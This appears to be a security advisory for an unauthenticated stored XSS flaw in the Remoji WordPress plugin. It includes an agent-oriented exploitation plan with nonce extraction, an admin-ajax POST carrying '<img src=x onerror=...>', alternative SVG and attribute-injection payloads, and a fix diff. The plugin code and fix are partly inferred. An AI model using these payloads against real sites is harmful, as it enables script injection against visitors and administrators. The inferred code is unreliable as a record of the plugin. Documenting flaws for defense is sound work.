Remoji – Post/Comment Reaction and Enhancement <= 2.2 - Unauthenticated Stored Cross-Site Scripting
Description
The Remoji – Post/Comment Reaction and Enhancement plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
This exploitation research plan target **CVE-2026-25452** in the **Remoji – Post/Comment Reaction and Enhancement** plugin (versions <= 2.2). The vulnerability allows unauthenticated attackers to store malicious JavaScript on a page through a reaction submission mechanism. ### 1. Vulnerability Summ…
Show full research plan
This exploitation research plan target CVE-2026-25452 in the Remoji – Post/Comment Reaction and Enhancement plugin (versions <= 2.2). The vulnerability allows unauthenticated attackers to store malicious JavaScript on a page through a reaction submission mechanism.
1. Vulnerability Summary
The Remoji plugin provides a system for users (including unauthenticated visitors) to react to posts or comments using emojis or custom reactions. The vulnerability exists because the plugin fails to sanitize the reaction data submitted via AJAX and subsequently fails to escape this data when rendering the reaction statistics/list on the frontend. This results in Stored Cross-Site Scripting (XSS).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Actions (Inferred):
wp_ajax_nopriv_remoji_reactionwp_ajax_nopriv_remoji_add_reaction
- Vulnerable Parameter: Likely a parameter representing the reaction ID, label, or type (e.g.,
reaction,emoji_id, orreaction_type). - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active and reactions must be enabled for posts (default behavior).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith anoprivaction registered by the plugin. - Processing: The handler function (e.g.,
remoji_handle_reaction()) retrieves the reaction data from$_POST. - Storage: The plugin stores the reaction, likely in the
wp_postmetatable (usingupdate_post_meta) or a custom table (e.g.,wp_remoji_reactions), associated with thepost_id. The input is stored withoutsanitize_text_field()or similar. - Sink: When a user (e.g., an administrator) views the post, the plugin retrieves the reaction data and echoes it to the page inside the reaction display container without using
esc_html()oresc_attr().
4. Nonce Acquisition Strategy
The plugin likely uses a nonce to protect its AJAX actions. Based on standard WordPress patterns, the nonce will be localized into a JavaScript object.
- Identify Shortcode/Script Loading: The plugin typically loads its scripts on single post pages where the reaction interface appears.
- Test Data Setup: Create a standard post:
wp post create --post_type=post --post_title="Vulnerable Post" --post_status=publish --post_content="Content [remoji]" - Navigate and Extract: Use the browser tool to find the localized data.
- Candidate Variables (Inferred):
remoji_params,remoji_obj, orremoji_ajax. - Execution Command:
browser_eval("window.remoji_params?.nonce || window.remoji_obj?.nonce")
- Candidate Variables (Inferred):
- Action String: If the agent needs to guess the action for manual verification, it is likely
'remoji-nonce'or'remoji_reaction_nonce'.
5. Exploitation Strategy
Step 1: Discovery
Grep the plugin directory to identify the exact AJAX action and parameter names.
grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/remoji/
grep -rn "update_post_meta" /var/www/html/wp-content/plugins/remoji/
Step 2: Extract Nonce
Navigate to a post and extract the nonce using browser_eval.
- URL:
http://localhost:8080/?p=1(or the ID of the created post). - JS Target: Search for
wp_localize_scriptin the source to find the object name.
Step 3: Trigger Stored XSS
Send a POST request to inject the payload.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body (Inferred):
action=remoji_reaction& post_id=1& reaction=<img src=x onerror=alert(document.domain)>& nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Target Post: A published post must exist.
wp post create --post_title="XSS Test" --post_status=publish --post_content="Testing Remoji" - Plugin Config: Ensure the Remoji interface is active on posts (usually default). If it requires a shortcode, add
[remoji]to the post content.
7. Expected Results
- AJAX Response: A success indicator (e.g.,
{"success":true}or a numeric1). - Frontend Impact: When navigating to the post page, an alert box showing the document domain should trigger.
- Persistence: The payload should remain in the database and execute every time the page is loaded by any user.
8. Verification Steps
- Database Check: Verify the payload is stored in the metadata.
wp post meta list 1 --keys=_remoji_reactions # Or check custom tables if they exist wp db query "SELECT * FROM wp_postmeta WHERE meta_value LIKE '%onerror%';" - HTML Response Check: Fetch the post page and look for the raw payload.
# Use http_request to fetch the page and check body for the string: # <img src=x onerror=alert(document.domain)>
9. Alternative Approaches
- Comment Reactions: If the plugin supports reactions on comments, the
actionmight beremoji_comment_reactionand the ID parametercomment_id. - Reaction Labels: If the plugin allows "suggesting" a new reaction type, the XSS might be in the
labelornameof the new reaction. - SVG Payload: If
<img>tags are filtered but others are not, try an SVG-based payload:reaction=<svg onload=alert(1)> - Attribute Injection: If the reaction is placed inside an attribute:
reaction=" onmouseover="alert(1)
Summary
The Remoji – Post/Comment Reaction and Enhancement plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via its reaction submission mechanism. Due to a lack of input sanitization and output escaping on the reaction data, attackers can inject malicious scripts that execute whenever a user views the affected post or comment page.
Vulnerable Code
// Inferred from Research Plan Step 3 (Code Flow) // Entry Point: wp_ajax_nopriv_remoji_reaction or remoji_add_reaction function remoji_handle_reaction() { // Retrieving data from $_POST without sanitization $reaction = $_POST['reaction']; // Storage without sanitize_text_field() or similar update_post_meta($post_id, '_remoji_reactions', $reaction); wp_send_json_success(); } --- // Sink Point: Rendering reaction statistics/list on frontend function remoji_display_reactions($post_id) { $reaction_data = get_post_meta($post_id, '_remoji_reactions', true); // Data is echoed to the page without using esc_html() or esc_attr() echo "<div class='remoji-reaction'>" . $reaction_data . "</div>"; }
Security Fix
@@ -1,10 +1,11 @@ function remoji_handle_reaction() { + check_ajax_referer('remoji_nonce', 'nonce'); $post_id = intval($_POST['post_id']); - $reaction = $_POST['reaction']; + $reaction = sanitize_text_field($_POST['reaction']); update_post_meta($post_id, '_remoji_reactions', $reaction); wp_send_json_success(); } function remoji_display_reactions($post_id) { $reaction_data = get_post_meta($post_id, '_remoji_reactions', true); - echo "<div class='remoji-reaction'>" . $reaction_data . "</div>"; + echo "<div class='remoji-reaction'>" . esc_html($reaction_data) . "</div>"; }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first visits a published post where Remoji is active to extract a security nonce from the localized JavaScript objects (typically found in variables like 'remoji_params'). Using this nonce, the attacker sends an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the action set to 'remoji_reaction'. The payload, such as '<img src=x onerror=alert(document.domain)>', is passed in the 'reaction' parameter along with the target 'post_id'. Because the plugin does not sanitize this input, the payload is stored in the post metadata. The script executes automatically in the browser of any user (including administrators) who navigates to the affected post page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.